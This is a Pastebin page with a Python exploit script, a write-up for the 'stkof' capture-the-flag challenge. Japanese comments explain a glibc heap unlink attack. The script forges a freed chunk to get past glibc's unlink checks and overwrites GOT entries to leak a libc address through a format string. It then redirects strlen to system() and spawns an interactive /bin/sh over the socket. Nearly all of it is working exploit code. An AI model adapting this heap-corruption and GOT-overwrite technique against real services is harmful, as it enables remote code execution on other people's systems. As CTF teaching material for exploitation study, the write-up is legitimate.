Advertisement
bata_24

stkof write-up (unlink attack)

Dec 26th, 2014
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.17 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import socket, struct, telnetlib
  4.  
  5. ###################### useful function definition
  6. def sock(remoteip, remoteport):
  7.   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.   s.connect((remoteip, remoteport))
  9.   return s, s.makefile('rw', bufsize=0)
  10.  
  11. def read_until(f, delim):
  12.   data = ''
  13.   while not data.endswith(delim):
  14.     data += f.read(1)
  15.   return data
  16.  
  17. def pQ(a):
  18.   return struct.pack("<Q",a)
  19.  
  20. def shell(s):
  21.   t = telnetlib.Telnet()
  22.   t.sock = s
  23.   t.interact()
  24.  
  25. ###################### menu function
  26. def alloc_mem(size):
  27.   f.write("1\n")
  28.   f.write(str(size)+"\n")
  29.   index = int(f.readline())
  30.   assert f.readline().strip() == 'OK'
  31.   return index
  32.  
  33. def write_mem(idx, data):
  34.   size = len(data)
  35.   f.write("2\n")
  36.   f.write(str(idx)+"\n")
  37.   f.write(str(size)+"\n")
  38.   f.write(data)
  39.   assert f.readline().strip() == 'OK'
  40.  
  41. def free_mem(idx):
  42.   f.write("3\n")
  43.   f.write(str(idx)+"\n")
  44.   assert f.readline().strip() == 'OK'
  45.  
  46. def strlen_mem(idx):
  47.   f.write("4\n")
  48.   f.write(str(idx)+"\n")
  49.   r = f.readline()
  50.   return r
  51.  
  52. ###################### main
  53. s, f = sock("localhost", 3573)
  54. #s, f = sock("katagaitai.orz.hm", 3333)
  55.  
  56. strlen_got = 0x602030
  57. printf_plt = 0x4007A0
  58. victim = 0x602158 # idx3
  59.  
  60. """
  61. 基本方針
  62. glibcのfree()内で起きる,連続したバッファの結合時に呼ばれるunlink()では,
  63. P->FD->BK == P,P->BK->FD == P というチェックがある.
  64. http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1411
  65. ※昔のDoug Lea's malloc()では,このチェックがなかったのでunlink攻撃が流行ったが,
  66.  2004年にこの確認処理が入ったことにより,unlink攻撃はできなくなった.
  67.  
  68. しかし,条件を満たせばこのチェックを回避することが可能である,というのが
  69. 今回の問題を解く上で重要なポイントとなっている.
  70. 尚,mallocで確保されたポインタがbss上にある,というのがその条件である.
  71.  
  72. さてこのunlink()内のチェックを回避するには,PをさすポインタXが必要である.
  73. P->FDがX-0x18を,とP->BKがX-0x10を指すよう仕込んでおけば良い.
  74. この状態でPに連接した領域(PREV_INUSE==0)をfree()すれば,unlink()が呼ばれることになるが,
  75. PではなくXをunlinkすることになるので,繋ぎ変えによって,
  76. コントロールできないはずのXの中身を書き換える事ができる.
  77. 本来Pを指すポインタXは分からないはずだが,今回はbssという固定アドレスにあるので,それを利用する.
  78. """
  79.  
  80. # どうせ自由に上書きできるので,サイズは適当で良い.
  81. alloc_mem(0x400) # idx1 : dummy
  82. alloc_mem(0x400) # idx2 : dummy
  83. alloc_mem(0x400) # idx3 : victim
  84. alloc_mem(0x10)  # idx4 :
  85. alloc_mem(0x100) # idx5 : free() target
  86. alloc_mem(0x10)  # idx6 :
  87.  
  88. """
  89. http://code.woboq.org/userspace/glibc/malloc/malloc.c.html#1108
  90. 1108    struct malloc_chunk {
  91. 1109
  92. 1110    INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
  93. 1111    INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
  94. 1112
  95. 1113    struct malloc_chunk* fd; /* double links -- used only if free. */
  96. 1114    struct malloc_chunk* bk;
  97. 1115
  98. 1116    /* Only used for large blocks: pointer to next larger size. */
  99. 1117    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  100. 1118    struct malloc_chunk* bk_nextsize;
  101. 1119    };
  102. """
  103.  
  104. # idx3は解放されていないが,解放されているかのようなデータ構造にしておく.これがPである.
  105. # 尚,idx3自身のmalloc_chunk(ヘッダのこと)は直上に存在するが,それは特に上書きしなくて良い.
  106. # 何故なら,bssから参照されているこのアドレス自身が,malloc_chunkとみなされるように扱うからである.
  107. bof =  pQ(0x400+0x10)  # prev_size       # idx2は0x400,idx3のヘッダが0x10
  108. bof += pQ(0x400|1)     # size|PREV_INUSE # 自分のサイズは0x400,idx2は使用中
  109. bof += pQ(victim-0x18) # fd              # 最終的にfd->bkが参照されるので0x18引いておく
  110. bof += pQ(victim-0x10) # bk              # 最終的にbk->fdが参照されるので0x10引いておく
  111. write_mem(3, bof)
  112.  
  113. # idx4でBOFし,idx5,idx6の中身を上書き
  114. bof =  "A"*16             #                 # idx4を埋める
  115. bof += pQ(0x400+0x20)  # prev_size       # idx3(0x400)とidx4(0x10+0x10)はひとつの解放済み領域と認識させる
  116. bof += pQ(0x100)       # size|PREV_INUSE # 自分のサイズは0x100(fastbinsに登録されない様,160バイト以上なら何でも良い),idx3~4は使用していないことを示す
  117. bof += pQ(0x0)         # fd              # ↑
  118. bof += pQ(0x0)         # bk              # |
  119. bof += pQ(0xAAAA)*29   # data            # | 0x100バイト
  120. bof += pQ(0x21)        # size|PREV_INUSE # ↓             # sizeは次の領域のサイズを表す
  121. bof += pQ(0xBBBB)*4    # data            # ↑
  122. bof += pQ(0x21)        # size|PREV_INUSE # ↓ 0x20バイト  # sizeは次の領域のサイズを表す
  123. write_mem(4, bof)
  124. free_mem(5)
  125.  
  126. # idx3にstrlen@gotを上書き
  127. write_mem(3, pQ(strlen_got))
  128.  
  129. # idx0にprintf@pltを上書き
  130. write_mem(0, pQ(printf_plt))
  131.  
  132. # printfの引数を読み込む
  133. #print write_mem(1, "%p,"*50 + "\n\0")
  134. write_mem(1, "%41$p\n\0")
  135.  
  136. # strlenするとprintfになる
  137. r = strlen_mem(1)
  138. f.readline().strip() # '...'
  139. _libc_start_main = int(r,16)
  140. print "stack: libc_start_main", hex(_libc_start_main)
  141.  
  142. # calc system
  143. """
  144. $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |less
  145. 0000000000021dd0 <__libc_start_main>:
  146. ...
  147. 21ec3:       ff d0                   call   rax
  148. 21ec5:       89 c7                   mov    edi,eax
  149. $ objdump -d -M intel /lib/x86_64-linux-gnu/libc-2.19.so |grep 'system>:'
  150. 0000000000046530 <__libc_system>:
  151. """
  152. libc_base = _libc_start_main - 0x21ec5
  153. libc_system = libc_base + 0x46530 # local
  154. print "system:", hex(libc_system)
  155.  
  156. # strlen@gotにsystem@libcを書き込む
  157. write_mem(0, pQ(libc_system))
  158.  
  159. # /bin/shを書き込む
  160. write_mem(1, "/bin/sh\0\n\0")
  161.  
  162. # call system("/bin/sh")
  163. strlen_mem(1)
  164.  
  165. print "got shell :)"
  166. shell(s)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement